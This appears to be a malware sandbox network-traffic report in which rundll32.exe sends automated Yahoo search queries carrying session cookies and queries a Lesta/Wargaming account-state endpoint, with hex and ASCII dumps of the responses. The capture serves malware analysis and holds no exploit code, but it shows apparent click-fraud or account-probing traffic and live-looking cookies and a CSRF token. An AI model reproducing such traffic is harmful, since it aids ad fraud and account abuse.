Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:42 UTC	976	OUT	GET /search;_ylt=Awriq2mY7HVlIgUrLExLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=57&pz=7&pstart=14 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227096&ltv_c=8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:42 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 32 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:42 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:42 UTC	482	IN	Data Raw: 63 31 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 Data Ascii: c1b<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yimg
2023-12-10 16:51:42 UTC	14216	IN	Data Raw: 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 79 5f 69 63 6f 6e 5f 69 70 68 6f 6e 65 5f 31 32 30 2e 6d 69 6e 2e 70 6e 67 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d 68 6f 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 67 75 63 65 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2f 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 Data Ascii: om/pv/static/img/y_icon_iphone_120.min.png" /><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="oath:guce:consent-host" content="guce.yahoo.com"/><noscript><meta http-equiv="refresh" c
2023-12-10 16:51:42 UTC	16384	IN	Data Raw: 70 75 74 3b 74 68 69 73 2e 69 73 54 72 69 67 67 65 72 42 79 49 6e 70 75 74 26 26 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 73 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3f 74 3d 73 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3a 77 2e 73 65 6c 65 63 74 69 6f 6e 26 26 28 73 2e 66 6f 63 75 73 28 29 2c 28 69 3d 77 2e 73 65 6c 65 63 74 69 6f 6e 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 29 2e 6d 6f 76 65 53 74 61 72 74 28 22 63 68 61 72 61 63 74 65 72 22 2c 2d 77 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 29 2c 74 3d 69 2e 74 65 78 74 2e 6c 65 6e 67 74 68 29 2c 6e 75 6c 6c 21 3d 3d 74 26 26 74 21 3d 3d 73 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 26 26 28 65 2e 69 70 6f 73 3d 74 29 2c 74 68 69 73 2e 69 73 54 72 Data Ascii: put;this.isTriggerByInput&&("number"==typeof s.selectionStart?t=s.selectionStart:w.selection&&(s.focus(),(i=w.selection.createRange()).moveStart("character",-w.activeElement.value.length),t=i.text.length),null!==t&&t!==s.value.length&&(e.ipos=t),this.isTr
2023-12-10 16:51:42 UTC	2168	IN	Data Raw: 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 6c 65 66 74 22 3b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 73 3d 28 69 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 74 69 74 6c 65 22 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6e 3d 28 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 64 65 73 63 72 69 70 74 69 6f 6e 22 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 61 3d 28 6e 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 73 70 61 63 65 72 22 2c 64 Data Ascii: ateElement("div")).className="sa-preview-left";var i=document.createElement("div"),s=(i.className="sa-preview-title",document.createElement("div")),n=(s.className="sa-preview-description",document.createElement("div")),a=(n.className="sa-preview-spacer",d
2023-12-10 16:51:42 UTC	1720	IN	Data Raw: 69 6d 67 22 29 29 2e 73 72 63 3d 74 2c 69 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 73 61 2d 68 69 64 64 65 6e 22 2c 69 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2c 22 73 61 2d 68 69 64 64 65 6e 22 29 2c 6e 2e 73 68 6f 77 49 63 6f 6e 4f 6e 49 6d 67 4c 6f 61 64 7c 7c 28 72 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 73 61 2d 68 69 64 64 65 6e 22 29 7d 2c 65 2e 69 6d 67 3d 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 6e 2e 72 69 63 68 43 6c 61 73 73 29 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 6e 2e 72 69 63 68 43 6c 61 73 73 29 2c 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 2c 6c 21 3d 3d 73 26 26 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6c 29 7d 66 75 6e 63 74 69 6f Data Ascii: img")).src=t,i.className+=" sa-hidden",i.onload=function(e){S.removeClass(i,"sa-hidden"),n.showIconOnImgLoad\|\|(r.className+=" sa-hidden")},e.img=l.appendChild(i),n.richClass)&&(s.className+=" "+n.richClass),l.appendChild(r),l!==s&&s.appendChild(l)}functio
2023-12-10 16:51:42 UTC	16384	IN	Data Raw: 6e 66 69 67 3d 7b 63 73 73 3a 22 73 61 2d 73 75 62 74 72 61 79 22 2c 66 6f 72 6d 43 53 53 3a 22 73 66 2d 73 75 62 74 72 61 79 22 2c 6f 66 66 73 65 74 3a 35 2c 64 65 6c 74 61 3a 30 2c 6d 69 6e 51 75 65 72 79 3a 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 2e 6d 2c 73 3d 74 68 69 73 2e 69 64 78 73 3b 22 22 21 3d 3d 74 2e 71 7c 7c 69 20 69 6e 20 73 7c 7c 28 73 5b 69 5d 3d 65 2e 69 64 78 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 29 7b 76 61 72 20 74 2c 69 3d 74 68 69 73 2c 73 3d 69 2e 63 6f 6e 66 69 67 2c 6e 3d 69 2e 69 64 78 73 2c 61 3d 73 2e 67 72 70 73 2c 6f 3d 69 2e 63 72 65 61 74 65 45 6c 65 6d 3b 66 6f 72 28 74 20 69 6e 20 6e 29 7b 76 61 72 20 72 2c 6c 3d 61 5b 22 6d 22 2b 74 5d 2c 63 3d 28 70 3d 61 5b 74 5d 29 26 Data Ascii: nfig={css:"sa-subtray",formCSS:"sf-subtray",offset:5,delta:0,minQuery:0}}function St(e,t){var i=t.m,s=this.idxs;""!==t.q\|\|i in s\|\|(s[i]=e.idx)}function Tt(e){var t,i=this,s=i.config,n=i.idxs,a=s.grps,o=i.createElem;for(t in n){var r,l=a["m"+t],c=(p=a[t])&
2023-12-10 16:51:42 UTC	992	IN	Data Raw: 3d 28 66 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 68 2c 75 65 2c 74 68 69 73 29 7d 7d 2c 66 65 29 2c 64 2e 73 61 46 6c 76 72 3d 28 67 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6e 28 66 2c 6d 65 2c 74 68 69 73 29 7d 7d 2c 67 65 29 2c 64 2e 73 61 4f 76 65 72 6c 61 79 3d 28 79 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6e 28 75 2c 76 65 2c 74 68 69 73 29 7d 7d 2c 79 65 29 2c 64 2e 73 61 50 41 53 46 3d 28 43 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 70 61 73 66 3d 5b Data Ascii: =(fe.prototype={init:function(e){(this.app=e).on(h,ue,this)}},fe),d.saFlvr=(ge.prototype={init:function(e){e.on(f,me,this)}},ge),d.saOverlay=(ye.prototype={init:function(e){e.on(u,ve,this)}},ye),d.saPASF=(Ce.prototype={init:function(e){var t=this;t.pasf=[
2023-12-10 16:51:42 UTC	13672	IN	Data Raw: 3d 5b 5d 2c 74 2e 74 72 65 6e 64 69 6e 67 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 69 2c 48 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 42 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 4d 65 2c 74 29 7d 7d 2c 71 65 29 2c 64 2e 73 61 41 6e 6e 6f 74 3d 28 44 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6e 28 66 2c 55 65 2c 74 68 69 73 29 7d 7d 2c 44 65 29 2c 64 2e 73 61 53 74 6f 63 6b 3d 28 56 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 6b 2c 47 65 2c 74 68 69 73 29 2c 65 2e 6f 6e 28 66 2c 4b 65 2c 74 68 69 73 29 7d 7d 2c 56 65 29 2c 64 2e 73 61 53 70 6f 72 74 3d 28 Data Ascii: =[],t.trending=[],t.beforeNode=null,(t.app=e).on(i,He,t),e.on(f,Be,t),e.on(I,Me,t)}},qe),d.saAnnot=(De.prototype={init:function(e){e.on(f,Ue,this)}},De),d.saStock=(Ve.prototype={init:function(e){(this.app=e).on(k,Ge,this),e.on(f,Ke,this)}},Ve),d.saSport=(
2023-12-10 16:51:42 UTC	9496	IN	Data Raw: 2e 63 6f 6d 70 4a 73 54 6f 67 67 6c 65 20 61 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 54 6d 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 54 65 6e 6e 69 73 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 2e 64 64 2e 53 70 6f 72 74 73 4c 65 61 67 75 65 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 61 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 4c 67 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 50 6c 61 4e 72 72 77 20 2e 63 Data Ascii: .compJsToggle a span,#results #web .dd.SportsTmSc .compTitle .title span,#results #web .dd.Tennis .compTitle .title span,#results .dd.SportsLeague .compTitle .title a,#results #web .dd.SportsLgSc .compTitle .title span,#results #right .cardReg .PlaNrrw .c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50151	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:42 UTC	438	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:51:44 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:51:44 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:51:44 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 38 4b 42 68 31 66 4c 76 74 62 43 59 58 50 5a 37 55 56 56 6d 4f 48 73 48 48 6b 69 49 75 6b 53 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "8KBh1fLvtbCYXPZ7UVVmOHsHHkiIukS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50174	52.44.77.224	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:43 UTC	802	OUT	GET /copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GB HTTP/1.1 Host: guce.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0 Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:43 UTC	1289	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 49 44 73 64 57 55 43 45 46 62 51 77 78 76 4a 66 35 5f 33 58 52 67 56 6e 4b 6b 34 5a 30 4d 46 45 67 41 42 43 41 45 30 64 32 57 70 5a 64 77 77 30 69 4d 41 41 69 41 41 41 41 63 49 67 4f 78 31 5a 61 6b 34 5a 30 4d 26 53 3d 41 51 41 41 41 70 34 72 32 6d 65 2d 4d 5f 41 7a 4a 6c 62 38 54 32 54 6f 32 34 59 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 39 20 44 65 63 20 32 30 32 34 20 31 36 3a 35 31 3a 34 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 33 36 30 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d Data Ascii: HTTP/1.1 302 FoundConnection: closeSet-Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgABCAE0d2WpZdww0iMAAiAAAAcIgOx1Zak4Z0M&S=AQAAAp4r2me-M_AzJlb8T2To24Y; Expires=Mon, 9 Dec 2024 16:51:40 GMT; Max-Age=31536000; Domain=.yahoo.com; Path=/; SameSite=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50177	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:44 UTC	839	OUT	GET /search;_ylt=AwrFARWZ7HVla9ArvQhXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=36&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227097&ltv_c=5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:44 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 34 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:44 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:44 UTC	5294	IN	Data Raw: 32 64 65 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2dea<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:44 UTC	5792	IN	Data Raw: 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 Data Ascii: te?Object.create(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(
